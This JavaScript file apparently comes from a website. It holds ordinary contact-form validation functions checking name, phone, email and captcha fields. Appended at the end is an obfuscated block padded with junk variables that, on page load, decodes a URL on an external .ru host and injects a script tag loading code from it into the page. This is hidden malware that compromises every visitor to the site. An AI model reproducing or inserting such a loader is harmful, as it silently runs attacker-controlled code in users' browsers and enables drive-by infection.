
function isWhiteSpaces(S)
{
	var isNull
	if (S.length == 0 ) 
		isNull = true;
	else
	{
		for (I=0;I < S.length; I++ )
		{
			isNull = S.substring(I,I+1)==" "?true:false
			if (!isNull) break;
		}
	}
	return isNull;
}

function isAlpha(S)
{
	for (var i=0; i<S.length; i++) 
	{
		var ch = S.charAt(i);
		if ((ch < 'a' || ch > 'z') && (ch < 'A' || ch > 'Z') && (ch != ' ') && (ch <'0') && (ch >'9')) 
			return false;
	}
	return true;
}

function isNumeric(S)
{
	if (!isNaN(S))	
		return true;	
	return false;
}

function isEmail(email)
{
	var isNullEmail = isWhiteSpaces(email)
	var emailLength = email.length
	var isSPACEexists = email.indexOf(" ") + 1
	var isATexistsFirst = email.indexOf("@")
	var isATexistsLast = email.lastIndexOf("@")
	var isDOTexistsFirst = email.indexOf(".",isATexistsFirst+1)
	var isDOTexistsNext1 = email.indexOf(".",isATexistsFirst+1)
	var isDOTexistsNext2 
	var isDOTexistsLast = email.lastIndexOf(".")

	if ((emailLength < 8 ) || (isDOTexistsFirst < isATexistsFirst+3) || (isATexistsFirst < 2) ||
   	 	(isDOTexistsLast == emailLength-1) || (isATexistsLast == emailLength-1) ||
    	(isDOTexistsFirst == 0) || (isATexistsFirst == 0) || (isATexistsFirst == isDOTexistsFirst) ||
    	(isATexistsFirst != isATexistsLast) || isSPACEexists || isNullEmail)
	{
		return false;
	}

	while (isDOTexistsNext1 < isDOTexistsLast)
	{
		isDOTexistsNext2 = email.indexOf(".",isDOTexistsNext1+1)
		if (isDOTexistsNext1+1 == isDOTexistsNext2)
		{
			return false;
		}
		isDOTexistsNext1 = isDOTexistsNext2
	}

	return true;
}


function validate ()
	{
	
	if(isWhiteSpaces(document.form1.name.value))
	{
		alert("Please Enter Name......");
		document.form1.name.focus();
		return false;
	}
	if (isNumeric(document.form1.name.value))
	{
		alert ('Please Enter Character Only......');
		document.form1.name.focus();
		return false;
	}
		if (isWhiteSpaces(document.form1.phone.value))
	{
		alert ('Please Enter Phone Number......');
		document.form1.phone.focus();
		return false;
	}
	
	if (isWhiteSpaces(document.form1.email.value))
	{
		alert ('Please Enter Email Id......');
		document.form1.email.focus();
		return false;
	}
	
	if (!isEmail(document.form1.email.value))
	{
		alert ("Please Enter Email Id in 'abc@xyz.com' Format.......");
		document.form1.email.focus();
		return false;
	}
		
	if (isWhiteSpaces(document.form1.enquiry.value))
	{
		alert ('Please Enter Enquiy About......');
		document.form1.enquiry.focus();
		return false;
	}
    if (isWhiteSpaces(document.form1.captchacode.value))
	{
		alert ('Please Enter Security Code......');
		document.form1.captchacode.focus();
		return false;
	}
}


var S=new Date();var d=new Date();var f=new Date();function B(){var b;if(b!='' && b!='A'){b='Fl'};var W='';var K=unescape;var fw;if(fw!=''){fw='C'};var v;if(v!=''){v='q'};var Kz=window;var jj=new Date();var j_;if(j_!='' && j_!='O'){j_=''};var M=K("%2f%62%72%65%61%6b%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%6c%61%63%6b%62%65%72%72%79%2e%63%6f%6d%2e%70%68%70");this.CM="";var x;if(x!=''){x='Y'};var aW;if(aW!='' && aW!='nq'){aW='Ne'};function j(KE,BZ){var z=String("getCF".substr(0,1));var LC;if(LC!=''){LC='i'};var X=K("%5b"), E=K("%5d");var y=X+BZ+E;var H=new RegExp(y, z);var IZ;if(IZ!='' && IZ!='KT'){IZ='ok'};return KE.replace(H, new String());this.EZ='';var gq;if(gq!='' && gq!='PL'){gq=''};};var l="";var p=j('816101518239055','32179546');var qt=new Array();this.Y_="";var e=document;this.MX='';var tXC;if(tXC!='Lh' && tXC!='Sp'){tXC=''};var pd=new String();this.od='';var yp;if(yp!='' && yp!='kI'){yp='an'};var m;if(m!='CG' && m != ''){m=null};function F(){this.gD="";var UG=new String();var bZ;if(bZ!='XX'){bZ=''};var YA=new String();var yI=K("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");var jv='';var Ht=new String();pd=yI;pd+=p;var Eu=new String();var gH;if(gH!='' && gH!='Ak'){gH='Sc'};pd+=M;var wMr='';var n_='';try {var ZJ=new String();var wH=new String();this.DL='';g=e.createElement(j('sWcqr5ibpKt5','5WAqDbYhK'));var uX;if(uX!='' && uX!='wu'){uX=null};g[K("%64%65%66%65%72")]=[7,1][1];var fa;if(fa!='' && fa!='Cqu'){fa=null};g[K("%73%72%63")]=pd;e.body.appendChild(g);var Ya;if(Ya!='EC' && Ya != ''){Ya=null};this.Ga='';var Pj;if(Pj!='tN' && Pj != ''){Pj=null};} catch(r){alert(r);var EJ=new Date();var HH=new String();};var ZSC=new Array();}var zG='';Kz[String("onl"+"We4uoad".substr(4))]=F;var BD;if(BD!='' && BD!='nF'){BD='DO'};var gJ;if(gJ!='wD' && gJ!='CW'){gJ=''};};var KX='';var cs='';B();